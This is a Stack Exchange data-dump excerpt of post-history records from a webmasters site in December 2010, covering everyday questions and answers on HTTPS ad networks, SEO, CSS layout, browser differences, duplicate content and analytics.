  <row Id="13110" PostHistoryTypeId="2" PostId="6557" RevisionGUID="6d14696c-6e4c-43f8-8034-6aa06d36168e" CreationDate="2010-12-10T06:44:44.287" UserDisplayName="Dogweather" Text="I've built a website with 160K page views per month that serves *every page* over https. The recent FireSheep news will probably increase the adoption of &quot;https everywhere&quot;. But it's been very hard to find ad networks and affiliates that will serve their content via https. &#xD;&#xA;&#xD;&#xA;I don't want to use these because I don't want my visitors to get &quot;broken security&quot; notification from their browsers. (And of course, relevant ads *would* be a leak of private information.)&#xD;&#xA;&#xD;&#xA;I'm tired of spending a ton of time signing up with ad networks and affiliates only to find out down the road that they don't support https (e.g. AdSense).&#xD;&#xA;&#xD;&#xA;Can anyone suggest any options or provide a pointer to a list of these somewhere?&#xD;&#xA;Thanks!" />
  <row Id="13111" PostHistoryTypeId="1" PostId="6557" RevisionGUID="6d14696c-6e4c-43f8-8034-6aa06d36168e" CreationDate="2010-12-10T06:44:44.287" UserDisplayName="Dogweather" Text="Ad networks that will serve via https?" />
  <row Id="13112" PostHistoryTypeId="3" PostId="6557" RevisionGUID="6d14696c-6e4c-43f8-8034-6aa06d36168e" CreationDate="2010-12-10T06:44:44.287" UserDisplayName="Dogweather" Text="&lt;web-development&gt;&lt;ssl&gt;&lt;advertising&gt;" />
  <row Id="13113" PostHistoryTypeId="17" PostId="6557" RevisionGUID="6dac2163-fb80-4132-bd26-957b2257590e" CreationDate="2010-12-10T07:37:26.670" UserId="-1" Comment="from http://stackoverflow.com/questions/4406381/ad-networks-that-will-serve-via-https" Text="" />
  <row Id="13114" PostHistoryTypeId="2" PostId="6558" RevisionGUID="10a65652-f77d-4b3a-a680-c86e5f8a9c98" CreationDate="2010-12-10T08:13:50.897" UserId="2930" Text="Is there any policy change in google adsense which says that from now on only paid sites will be allowed to apply for adsense?like www.blabla.blogspot.com can not apply for a adsense account?" />
  <row Id="13115" PostHistoryTypeId="1" PostId="6558" RevisionGUID="10a65652-f77d-4b3a-a680-c86e5f8a9c98" CreationDate="2010-12-10T08:13:50.897" UserId="2930" Text="Is there any change made in the adsense conditions that it can not be applied for a free site?" />
  <row Id="13116" PostHistoryTypeId="3" PostId="6558" RevisionGUID="10a65652-f77d-4b3a-a680-c86e5f8a9c98" CreationDate="2010-12-10T08:13:50.897" UserId="2930" Text="&lt;google-adsense&gt;" />
  <row Id="13117" PostHistoryTypeId="2" PostId="6559" RevisionGUID="4e890f2f-fa11-4202-a681-f0177351cdb3" CreationDate="2010-12-10T08:43:33.643" UserId="3779" Text="I have a website on which I publish a daily update.&#xD;&#xA;&#xD;&#xA;Its just german, so Germany/Austria/Switzerland which all share the same timezone.&#xD;&#xA;&#xD;&#xA;So the system always publishes the daily new content at midnight, which is fine.&#xD;&#xA;&#xD;&#xA;But now I plan to go tap into english/spanish/french/italien speaking areas.&#xD;&#xA;&#xD;&#xA;I thought about publishing everywhere at midnight, so californians essentially see the content 18 hours before australians do...&#xD;&#xA;&#xD;&#xA;Any ideas on that? How do other websites do it?&#xD;&#xA;&#xD;&#xA;Or maby is there a method to keep the shifting delay smaller? Because the zones utc -11 and +12 are essentially only 1 hour apart (when it comes to the time of day, not the actual date).&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="13118" PostHistoryTypeId="1" PostId="6559" RevisionGUID="4e890f2f-fa11-4202-a681-f0177351cdb3" CreationDate="2010-12-10T08:43:33.643" UserId="3779" Text="Right “time” for publishing on multinational/global websites?" />
  <row Id="13119" PostHistoryTypeId="3" PostId="6559" RevisionGUID="4e890f2f-fa11-4202-a681-f0177351cdb3" CreationDate="2010-12-10T08:43:33.643" UserId="3779" Text="&lt;content&gt;&lt;internationalization&gt;" />
  <row Id="13120" PostHistoryTypeId="2" PostId="6560" RevisionGUID="d5adf792-b4db-44fa-80df-2f0fe1aac277" CreationDate="2010-12-10T08:48:37.003" UserId="1647" Text="No, this assumption is not correctly. There are several solutions to have a Rails application up and running. The right one really depends on the complexity of your project.&#xD;&#xA;&#xD;&#xA;If you just need to learn how to use Ruby and you don't want to fight with all the sysadm tasks, then you can give [Heroku][1] a try.&#xD;&#xA;&#xD;&#xA;If you want to go with your server, I strongly encourage you to check out [Passenger][2]. It's a Nginx/Apache module you can install to run a Rack (thus a Rails 3) application. And it supports multiple apps on the same server.&#xD;&#xA;&#xD;&#xA;For a more technical overview, check out [this question][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heroku.com&#xD;&#xA;  [2]: http://www.modrails.com/&#xD;&#xA;  [3]: http://stackoverflow.com/questions/1728978/recommendations-and-differences-between-different-ruby-on-rails-production-web/1729055#1729055" />
  <row Id="13121" PostHistoryTypeId="2" PostId="6562" RevisionGUID="33facb86-3cfb-4a0f-b46d-7d64f17f76de" CreationDate="2010-12-10T08:19:28.317" UserDisplayName="Hamish" Text="sorry i couldnt reply with the same account that ones not working; &#xD;&#xA;Im really sorry if these questions sound ridiculus but im only a student; &#xD;&#xA;Is there a way of checking if a stylesheet has successfully linked? I tried deleting the stylesheet and it made no difference so this could be the problem? &#xD;&#xA;Thanks " />
  <row Id="13122" PostHistoryTypeId="2" PostId="6561" RevisionGUID="ec46bff3-12c9-487c-b62a-65061f71b7c8" CreationDate="2010-12-09T21:54:12.943" UserDisplayName="Hamish Hagaheygui" Text="sorry im new here but i have a serious problem; &#xD;&#xA;I changed the CSS style sheet for IE7 for my site http://bumblebbids.com , but now when using IE7 it has no graphics and all of the scripts code is printed ; &#xD;&#xA;I have tried replacing the original stylesheet but it made no difference, so please suggest ways that i can fix this? If not, would it be possible to have a 'Incompatible browser' message that only appears for IE7 users? &#xD;&#xA;&#xD;&#xA;Thanks " />
  <row Id="13123" PostHistoryTypeId="1" PostId="6561" RevisionGUID="ec46bff3-12c9-487c-b62a-65061f71b7c8" CreationDate="2010-12-09T21:54:12.943" UserDisplayName="Hamish Hagaheygui" Text="Trouble with my website and IE7 " />
  <row Id="13124" PostHistoryTypeId="3" PostId="6561" RevisionGUID="ec46bff3-12c9-487c-b62a-65061f71b7c8" CreationDate="2010-12-09T21:54:12.943" UserDisplayName="Hamish Hagaheygui" Text="&lt;php&gt;&lt;problem&gt;&lt;css&gt;" />
  <row Id="13125" PostHistoryTypeId="17" PostId="6561" RevisionGUID="6177da0b-3ae7-424e-9ea6-9ba8019d2cd3" CreationDate="2010-12-10T08:49:02.800" UserId="-1" Comment="from http://serverfault.com/questions/211045/trouble-with-my-website-and-ie7" Text="" />
  <row Id="13126" PostHistoryTypeId="2" PostId="6563" RevisionGUID="7530732f-fa8c-4f81-b8c0-9610d68b796a" CreationDate="2010-12-10T03:57:55.390" UserDisplayName="Matt" Text="I have video that I want to embed into a Google Site.  I don't want it on YouTube or any of its ilk, however, and Google Video is a royal pain to submit to.  Is there any way to embed video in Google Sites without first putting the video on YouTube?" />
  <row Id="13127" PostHistoryTypeId="1" PostId="6563" RevisionGUID="7530732f-fa8c-4f81-b8c0-9610d68b796a" CreationDate="2010-12-10T03:57:55.390" UserDisplayName="Matt" Text="Google Sites embedding external and off-YouTube video" />
  <row Id="13128" PostHistoryTypeId="3" PostId="6563" RevisionGUID="7530732f-fa8c-4f81-b8c0-9610d68b796a" CreationDate="2010-12-10T03:57:55.390" UserDisplayName="Matt" Text="&lt;google&gt;&lt;video&gt;" />
  <row Id="13129" PostHistoryTypeId="17" PostId="6563" RevisionGUID="4cdd2639-8d13-47b3-9d9a-2a1a63fc72b1" CreationDate="2010-12-10T09:24:46.467" UserId="-1" Comment="from http://serverfault.com/questions/211152/google-sites-embedding-external-and-off-youtube-video" Text="" />
  <row Id="13130" PostHistoryTypeId="2" PostId="6564" RevisionGUID="41009342-31d7-4bd2-bf04-318eac2b1abb" CreationDate="2010-12-10T10:02:11.913" UserId="3718" Text="Check the images and how you link them. They should be like url(/Images/image.jpg). The / at the beginning of the path is all important. This tells the browser and the server &quot;Start looking for this image from the main folder&quot;." />
  <row Id="13131" PostHistoryTypeId="2" PostId="6565" RevisionGUID="8de8ed46-448f-4daf-80f5-dbb4c26bcbbc" CreationDate="2010-12-10T11:17:11.953" UserId="1022" Text="Most global sites just use a single time zone, UTC or their local/server time.&#xD;&#xA;&#xD;&#xA;Publishing at a specific time for each timezone seems like overkill, unless there's a reason for it. But if someone in Australia wants to read your site, what would stop them from just using the US Pacific version with the more current content?&#xD;&#xA;" />
  <row Id="13132" PostHistoryTypeId="2" PostId="6566" RevisionGUID="a9b983c2-628a-41b9-a6e9-1d9af500522c" CreationDate="2010-12-10T11:31:19.513" UserId="233" Text="There are certainly differences. Looking at just the rendering front, Safari and Chrome will inevitably use different versions of Webkit (it's development is pretty fast-moving).&#xD;&#xA;&#xD;&#xA;Besides straight rendering, there is also Javascript to think about and minor things like font differences and platform differences - Safari is inevitably more popular on Macs.&#xD;&#xA;&#xD;&#xA;You can take the hassle out of checking rendering by using tools like BrowserShots, but it doesn't take much effort to quickly fire up Safari when you've finished development and click through a few pages to double-check everything is working OK." />
  <row Id="13133" PostHistoryTypeId="5" PostId="6566" RevisionGUID="02455da5-b6ef-41e6-b5ce-a22906bdca69" CreationDate="2010-12-10T11:37:17.000" UserId="233" Comment="added 39 characters in body" Text="There are certainly differences. Looking at just the rendering front, Safari and Chrome will inevitably use different versions of Webkit (it's development is pretty fast-moving). Any differences are likely to be minor, though.&#xD;&#xA;&#xD;&#xA;Besides rendering, there is also Javascript to think about and minor things like font differences and platform differences (Safari is inevitably more popular on Macs).&#xD;&#xA;&#xD;&#xA;You can take the hassle out of checking rendering by using tools like BrowserShots, but it doesn't take much effort to quickly fire up Safari when you've finished development and click through a few pages to double-check everything is working OK." />
  <row Id="13134" PostHistoryTypeId="2" PostId="6567" RevisionGUID="229f11a8-fa37-4def-875a-7b914ed60229" CreationDate="2010-12-10T11:37:48.217" UserId="3784" Text="I'm doing some evaluation on &#xD;&#xA;&#xD;&#xA;Liferay vs [JBoss GateIn][1]&#xD;&#xA;&#xD;&#xA;Looking for community info on which is better suited from points of view of:&#xD;&#xA;&#xD;&#xA; - Performance&#xD;&#xA; - Features OOTB&#xD;&#xA; - In-life maintenance&#xD;&#xA;&#xD;&#xA;I'm looking for **practical views (real-life sites)** or any gotchas you have come across in your own projects. &#xD;&#xA;&#xD;&#xA;I asked this on [prog.se][2], but been asked to try here. Hope this is on-topic for this site&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jboss.org/gatein&#xD;&#xA;  [2]: http://programmers.stackexchange.com/questions/25133/open-source-portal-best-suited-for-enterprise-websites" />
  <row Id="13135" PostHistoryTypeId="1" PostId="6567" RevisionGUID="229f11a8-fa37-4def-875a-7b914ed60229" CreationDate="2010-12-10T11:37:48.217" UserId="3784" Text="Open source portal suited for enterprise websites" />
  <row Id="13136" PostHistoryTypeId="3" PostId="6567" RevisionGUID="229f11a8-fa37-4def-875a-7b914ed60229" CreationDate="2010-12-10T11:37:48.217" UserId="3784" Text="&lt;open-source&gt;" />
  <row Id="13137" PostHistoryTypeId="2" PostId="6568" RevisionGUID="cc44551c-be9b-4c68-8dbb-beebb3f39346" CreationDate="2010-12-10T11:52:01.567" UserId="1429" Text="YES, there are differencies. Minor ones? It depends.&#xD;&#xA;Whem I 1st tested an iPad in the shop under my house I looked at some of my websites. I had a select box in a form that was not working on Safari on iPad.&#xD;&#xA;&#xD;&#xA;Tested back in office on a PC: it did work on Chrome, but it did not work on Safari!&#xD;&#xA;And since in the specific case the select box was a mandatory field the user could not send the form.&#xD;&#xA;&#xD;&#xA;Since that experince I always test every sites I make also on Safari, and YES just because iPad (and all Apple world) uses Safari." />
  <row Id="13138" PostHistoryTypeId="2" PostId="6569" RevisionGUID="61837282-29e8-46fb-811e-cef0a544efe3" CreationDate="2010-12-10T12:00:44.733" UserId="3785" Text="Guys I'm trying to center this simple ul here. Any idea on whats wrong ?&#xD;&#xA;&#xD;&#xA;Css:&#xD;&#xA;&#xD;&#xA;    ul {&#xD;&#xA;        margin-left: auto;&#xD;&#xA;        margin-right: auto;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    li {&#xD;&#xA;        display: inline;&#xD;&#xA;        background-color: gray;&#xD;&#xA;        color: white;&#xD;&#xA;        list-style: none;&#xD;&#xA;        margin: 5px;&#xD;&#xA;        padding: 5px;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;JSP/HTML:&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt;     &lt;ul&gt;&#xD;&#xA;&gt;             &lt;li&gt;Login&lt;/li&gt;&#xD;&#xA;&gt;             &lt;li&gt;Option2&lt;/li&gt;&#xD;&#xA;&gt;             &lt;li&gt;Optino3&lt;/li&gt;&#xD;&#xA;&gt;         &lt;/ul&gt;" />
  <row Id="13139" PostHistoryTypeId="1" PostId="6569" RevisionGUID="61837282-29e8-46fb-811e-cef0a544efe3" CreationDate="2010-12-10T12:00:44.733" UserId="3785" Text="Can't center a ul with css." />
  <row Id="13140" PostHistoryTypeId="3" PostId="6569" RevisionGUID="61837282-29e8-46fb-811e-cef0a544efe3" CreationDate="2010-12-10T12:00:44.733" UserId="3785" Text="&lt;css&gt;" />
  <row Id="13141" PostHistoryTypeId="2" PostId="6570" RevisionGUID="ee036590-a8df-4bda-a558-94921dcf8d9e" CreationDate="2010-12-10T12:01:16.503" UserId="233" Text="Yes, putting important keywords closer to the beginning of a title does help SEO. SEOmoz's [ranking factors][1] survey agrees, as do other sources.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Side rant: Personally I hate this because it actually devalues user experience in many cases. If you are a company selling red widgets a spammy title like &quot;red widgets, widgets, blue widgets&quot; can be more successful that &quot;Awesome WidCo plc - suppliers of red widgets&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/article/search-ranking-factors#ranking-factors" />
  <row Id="13142" PostHistoryTypeId="2" PostId="6571" RevisionGUID="1a8b6a01-1f10-4d3d-8ca5-31333570db9c" CreationDate="2010-12-10T12:12:41.103" UserId="2293" Text="Check http://matthewjamestaylor.com/blog/2 it has many HTML/CSS articles." />
  <row Id="13143" PostHistoryTypeId="5" PostId="6570" RevisionGUID="d92c0e80-35ca-4cc2-b0e7-018e581659c9" CreationDate="2010-12-10T12:15:09.180" UserId="233" Comment="added 118 characters in body" Text="Yes, putting important keywords closer to the beginning of a title does help SEO. SEOmoz's [ranking factors][1] survey agrees, as do other sources.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Side rant: Personally I hate this because it actually devalues user experience in many cases. For home pages, if you are a company selling red widgets a spammy title like &quot;red widgets, widgets, blue widgets&quot; can be more successful that &quot;Awesome WidCo plc - suppliers of red widgets&quot;.&#xD;&#xA;&#xD;&#xA;I believe the site name should come first on the home page, but SEO forces you to do the opposite.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/article/search-ranking-factors#ranking-factors" />
  <row Id="13144" PostHistoryTypeId="2" PostId="6572" RevisionGUID="990e663b-0d1a-4fd3-9be2-5c80c1a4ee63" CreationDate="2010-12-10T12:20:47.723" UserId="3467" Text="Because even though the `ul` centers (with the margin: auto) it's a block element so it spans the entire width of the element. There is no room for margin on either side of it, you'll have to specify a width for the `ul` element for this to work." />
  <row Id="13145" PostHistoryTypeId="2" PostId="6573" RevisionGUID="3c5e4d1f-b203-4e80-80be-b21dba418d9e" CreationDate="2010-12-10T12:26:53.940" UserId="3467" Text="No, that's complete nonsense." />
  <row Id="13146" PostHistoryTypeId="2" PostId="6574" RevisionGUID="aae71506-8a9a-4405-9cf8-e7726b211ebf" CreationDate="2010-12-10T12:30:24.040" UserId="233" Text="When I search for the exact URL, the page does not come up in Google, which means it is not indexed yet.&#xD;&#xA;&#xD;&#xA;When you changed the templates and language, did the URLs change? If so then Google simply has not found the new page yet. The old page has gone so it was removed from the search results. What you need to do in that case is create a 301 Redirect from the old URL to the new one, `/news/oslo-fashion-fair-2009/` then any links coming into the old page will redirect to the new one and pass on the &quot;ranking&quot;.&#xD;&#xA;&#xD;&#xA;Make sure to sign up for [Google Webmaster Tools][1]; you will be able to see all the pages that Google cannot find on your site. Set up 301 redirects for all appropriate pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="13147" PostHistoryTypeId="5" PostId="6484" RevisionGUID="312eff54-b6e2-4bc9-93f5-fc1001c3abe8" CreationDate="2010-12-10T12:43:16.640" UserId="908" Comment="added 21 characters in body" Text="On the front page of a site I'm working on there's a small slideshow. It's not for pictures in particular, any content can go in, and I'm currently setting up the editing interface for the client. I'd like to be able to have one/two/more columns in the editable area, and ideally that would be via CSS - does anyone know of a WYSIWYG editor that supports this? I'm using Drupal (would prefer not to involve Panels as it would require a bit of work to make it a streamlined workflow for content entry) in case that matters to anyone.&#xD;&#xA;&#xD;&#xA;To start the ball rolling, one way would be to use templates. I know CKEditor supports [templates](http://docs.cksource.com/CKEditor_3.x/Users_Guide/Document/Templates), and [it looks like](http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/template) TinyMCE might have something similar. I don't know how well these work with tableless columns (the [CKEditor homepage demo](http://ckeditor.com/demo) uses tables to achieve its two column effect).&#xD;&#xA;&#xD;&#xA;Holding out for a cool solution!" />
  <row Id="13148" PostHistoryTypeId="2" PostId="6575" RevisionGUID="49d68259-a900-4bc0-a975-6957167ff58b" CreationDate="2010-12-10T12:50:57.997" UserId="1429" Text="Often if you present too much stuff to normal audience (non geeky tech guys) they might go in confusion.&#xD;&#xA;&#xD;&#xA;If you had to present a simple minimalistic website's monthly statistics to someone, with **one and only one graph**.&#xD;&#xA;&#xD;&#xA;Would you show them a graph of total visits per month, or a graph with total unique visits per month? And why one vs the other?" />
  <row Id="13149" PostHistoryTypeId="1" PostId="6575" RevisionGUID="49d68259-a900-4bc0-a975-6957167ff58b" CreationDate="2010-12-10T12:50:57.997" UserId="1429" Text="Presenting very simple and minimalistic stats graph to final user, unique visitor or visits?" />
  <row Id="13150" PostHistoryTypeId="3" PostId="6575" RevisionGUID="49d68259-a900-4bc0-a975-6957167ff58b" CreationDate="2010-12-10T12:50:57.997" UserId="1429" Text="&lt;statistics&gt;" />
  <row Id="13151" PostHistoryTypeId="10" PostId="6569" RevisionGUID="0808fe99-6c1e-4464-801e-7ff3fb6cc196" CreationDate="2010-12-10T12:57:23.920" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13152" PostHistoryTypeId="2" PostId="6576" RevisionGUID="7b9e7ae8-225b-458c-a501-bb3d87b2beda" CreationDate="2010-12-10T13:12:02.213" UserId="3788" Text="You are abbreviating language names in English, not in that language. German speakers will be looking for an abbreviation of &quot;Deutsch&quot;, not &quot;German&quot;. Why not use the standard two-letter abbreviations for languages?" />
  <row Id="13153" PostHistoryTypeId="2" PostId="6577" RevisionGUID="a2f0f016-6d5a-40dc-91ea-ce6bfe12ee20" CreationDate="2010-12-10T13:12:03.797" UserId="3371" Text="What are some of the most creative, ethical, and dare I say fun ways to build local e-mails lists that you have heard of or done yourself?  For example--and although not e-mail lists-- Quora, using mechanical turk to create twitter accounts is pretty cool. &#xD;&#xA;&#xD;&#xA;So what interesting ways can you think of or done to build a base of contacts?" />
  <row Id="13154" PostHistoryTypeId="1" PostId="6577" RevisionGUID="a2f0f016-6d5a-40dc-91ea-ce6bfe12ee20" CreationDate="2010-12-10T13:12:03.797" UserId="3371" Text="Creative ways to build e-mails lists and contact info" />
  <row Id="13155" PostHistoryTypeId="3" PostId="6577" RevisionGUID="a2f0f016-6d5a-40dc-91ea-ce6bfe12ee20" CreationDate="2010-12-10T13:12:03.797" UserId="3371" Text="&lt;seo&gt;&lt;marketing&gt;&lt;bulk-email&gt;" />
  <row Id="13156" PostHistoryTypeId="6" PostId="6577" RevisionGUID="8b23b33e-f550-4f31-8a36-08d1bce8533f" CreationDate="2010-12-10T14:07:02.093" UserId="1253" Comment="Removed SEO tag as it does not apply to this question" Text="&lt;marketing&gt;&lt;bulk-email&gt;" />
  <row Id="13157" PostHistoryTypeId="2" PostId="6578" RevisionGUID="02053ae3-6577-481b-9c8d-9ac0814cfd96" CreationDate="2010-12-10T14:21:46.530" UserId="2047" Text="every time I write a post I make sure I add links to wordsthat I have tags for. &#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&quot;The economy of [Brazil][1] has improved in the last few years&quot;&#xD;&#xA;&#xD;&#xA;this ensure that when people re-post my content, a lot of back-links will be created to my tags. This is quite a lot of work to do manually for every post.&#xD;&#xA;&#xD;&#xA;It would be cool if there was a plugin that would suggest tags to be applied when they match existing words in the text of the post.&#xD;&#xA;&#xD;&#xA;Is there such a thing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.antinovaordemmundial.com/tag/brasil" />
  <row Id="13158" PostHistoryTypeId="1" PostId="6578" RevisionGUID="02053ae3-6577-481b-9c8d-9ac0814cfd96" CreationDate="2010-12-10T14:21:46.530" UserId="2047" Text="Tag link suggestion plugin for wordpress?" />
  <row Id="13159" PostHistoryTypeId="3" PostId="6578" RevisionGUID="02053ae3-6577-481b-9c8d-9ac0814cfd96" CreationDate="2010-12-10T14:21:46.530" UserId="2047" Text="&lt;wordpress&gt;&lt;links&gt;&lt;backlinks&gt;&lt;tags&gt;" />
  <row Id="13160" PostHistoryTypeId="2" PostId="6579" RevisionGUID="20c85d29-f32a-4c78-a153-eb8ee1413c05" CreationDate="2010-12-10T15:27:19.470" UserId="3791" Text="I have an account on wordpress. I am writing blogs there. Now I have published my same blogs with same content over DZONE and geekswithblogs.net and few other . Now my question is whether the SEO ranking of wordpress blogs will be hit. If yes then may I know how can I prevent that to happen if I post the same content over the other blogs publishing sites. Can I cross-link (by giving the original link of wordpress) on other sites, will that help me to prevent the SEO hit ? Any other suggestions will be so helpful. Should I stop posting over other sites and remain stick to my original one?&#xD;&#xA;" />
  <row Id="13161" PostHistoryTypeId="1" PostId="6579" RevisionGUID="20c85d29-f32a-4c78-a153-eb8ee1413c05" CreationDate="2010-12-10T15:27:19.470" UserId="3791" Text="Same content over multiple sites" />
  <row Id="13162" PostHistoryTypeId="3" PostId="6579" RevisionGUID="20c85d29-f32a-4c78-a153-eb8ee1413c05" CreationDate="2010-12-10T15:27:19.470" UserId="3791" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;website&gt;&lt;optimizations&gt;&lt;google-search&gt;" />
  <row Id="13163" PostHistoryTypeId="2" PostId="6580" RevisionGUID="86825f47-ceee-4053-b2b0-f543810a2847" CreationDate="2010-12-10T16:11:18.107" UserId="1953" Text="I would show a graph with the business metrics they are trying to improve, if they are trying to get more visitors to the site then unique visitors would be best if they are trying to get more of their visitors to return to the site then show a graph that compares unique visitors to totals visits (IE so they can see visits per visitor are increasing) if they are looking to increase ad views then pageviews might be the only metric necessary. If they are looking at revenue or some other money related metric for success then visits or uniques would only be useful if you can show how they convert. &#xD;&#xA;&#xD;&#xA;Your absolutely right that when you show too many metrics it gets confusing, but the best metric to show is the one that relates to how you measure success." />
  <row Id="13164" PostHistoryTypeId="2" PostId="6581" RevisionGUID="e612d91d-56f0-470a-aeac-e3a247847d33" CreationDate="2010-12-10T16:14:49.690" UserId="1253" Text="The best thing you can do is let Google know the original source of the content. If possible, do the following:&#xD;&#xA;&#xD;&#xA;1) Use rel=&quot;canonical&quot; on the republished articles linking to the original article&#xD;&#xA;&#xD;&#xA;2) On the republished articles link back to the original article and cite it as the original source" />
  <row Id="13165" PostHistoryTypeId="6" PostId="6579" RevisionGUID="749ef294-0c5d-45ec-a48a-5de8cf058d7f" CreationDate="2010-12-10T16:30:16.673" UserId="1253" Comment="Removed search-engines, website, optimizations, &amp; google-search tags. Added duplicate-content tag" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="13169" PostHistoryTypeId="5" PostId="6571" RevisionGUID="dd29f277-ab39-4ddf-b377-ae261a165de6" CreationDate="2010-12-10T17:20:28.800" UserId="2293" Comment="added 421 characters in body" Text="Check http://matthewjamestaylor.com/blog/2 it has many HTML/CSS articles.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Again, nothing against being downvoted. But knowing **why** downvotes (as well as upvotes, unless it is really really obvious) is important indeed to everyone, including me.&#xD;&#xA;&#xD;&#xA;Despite the question best fits in other forum (yeah, I commented on question first), I tried a nice reply as per QA seems to be a beginner. And for beginners, I think the best is not just solve the problem, but learn the basics." />
  <row Id="13170" PostHistoryTypeId="2" PostId="6583" RevisionGUID="bc41e6c6-ce2d-4482-ba9a-aca55534d81a" CreationDate="2010-12-10T17:34:56.910" UserId="2293" Text="I don't think reinventing the wheel is the right path.&#xD;&#xA;&#xD;&#xA;There are a lot of standards currently on use. I think if you wanna markup your elements correctly, start from the basis: there is a global HTML attribute named **lang** for this purpose.&#xD;&#xA;&#xD;&#xA;    &lt;html lang='de-de'&gt;&#xD;&#xA;    &lt;html lang='en-us'&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;for a element only&#xD;&#xA;&#xD;&#xA;    &lt;html lang='pt-br'&gt;&#xD;&#xA;    ...&#xD;&#xA;    &lt;p&gt;Também chamado de &lt;abbr lang='en-us' title='Search Engine Optimization'&gt;SEO&lt;/abbr&gt;...&lt;/p&gt;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Follow some references for your convenience:&#xD;&#xA;&#xD;&#xA; - http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#attr-lang&#xD;&#xA; - http://www.ietf.org/rfc/bcp/bcp47.txt&#xD;&#xA; - http://en.wikipedia.org/wiki/IETF_language_tag&#xD;&#xA; - http://www.w3.org/International/tutorials/language-decl/" />
  <row Id="13172" PostHistoryTypeId="2" PostId="6584" RevisionGUID="60f385f6-7315-4114-9977-d6f63c8eaee6" CreationDate="2010-12-10T17:57:19.567" UserId="2297" Text="Using Google Webmaster tools my site is set to 'Display URLs as www.mydomain.com' as opposed 'mydomain.com'. This is the setting for both of these sites in Webmaster tools and has been for several months now.&#xD;&#xA;&#xD;&#xA;Google has honoured this, but recently the site's ranking has started to improve and it is ranking for search terms it didn't previously rank for. &#xD;&#xA;&#xD;&#xA;However, Google is not displaying these new results using my preferred domain (without the www).&#xD;&#xA;&#xD;&#xA;Does anyone else have experience with this behaviour? Why would Google do this? " />
  <row Id="13173" PostHistoryTypeId="1" PostId="6584" RevisionGUID="60f385f6-7315-4114-9977-d6f63c8eaee6" CreationDate="2010-12-10T17:57:19.567" UserId="2297" Text="Why is Google not listing my site using its preferred domain?" />
  <row Id="13174" PostHistoryTypeId="3" PostId="6584" RevisionGUID="60f385f6-7315-4114-9977-d6f63c8eaee6" CreationDate="2010-12-10T17:57:19.567" UserId="2297" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="13175" PostHistoryTypeId="6" PostId="6584" RevisionGUID="8a8d1f92-7c60-4ff0-a25f-dd22798ea421" CreationDate="2010-12-10T18:06:32.413" UserId="1253" Comment="Removed &quot;search-engines&quot; tag and added &quot;google-webmaster-tools&quot; tag" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="13176" PostHistoryTypeId="5" PostId="6581" RevisionGUID="66fd0b71-dac9-4e82-9f80-ae077c8399a5" CreationDate="2010-12-10T18:38:50.220" UserId="1253" Comment="added 155 characters in body" Text="The best thing you can do is let Google know the original source of the content. If possible, do the following:&#xD;&#xA;&#xD;&#xA;1) Use rel=&quot;canonical&quot; on the republished articles linking to the original article&#xD;&#xA;&#xD;&#xA;2) On the republished articles link back to the original article and cite it as the original source&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;3) There's also a new [Google meta tag](http://googlenewsblog.blogspot.com/2010/11/credit-where-credit-is-due.html) that may help as well" />
  <row Id="13177" PostHistoryTypeId="2" PostId="6585" RevisionGUID="49c370f5-934f-49bd-abb9-34b1e68688d5" CreationDate="2010-12-10T18:59:51.390" UserId="1953" Text="I don't know that you're going to get exactly what you want, because it's on the same domain, if you were using blog.yoursite.com instead of yoursite.com/blog you could use referring sites.&#xD;&#xA;&#xD;&#xA;One way that might get you close would be to create an advanced segment that uses a &quot;landing page&quot; that contains &quot;/blog&quot; in the URL string this would limit your reports to only those that entered the site via the blog, then you can create a custom content report and filter out URLs that include &quot;blog&quot; this will give you data about the main site only showing visitors that entered through the blog.&#xD;&#xA;&#xD;&#xA;Another option would be to tag each link on your blog to the main site with campaign tracking, I haven't tested this and can't confirm that it won't mess up you're analytics in some fashion so I would test it on a separate profile first.&#xD;&#xA;&#xD;&#xA;Neither are 100% what you're looking for but hopefully it at least gave you some ideas." />
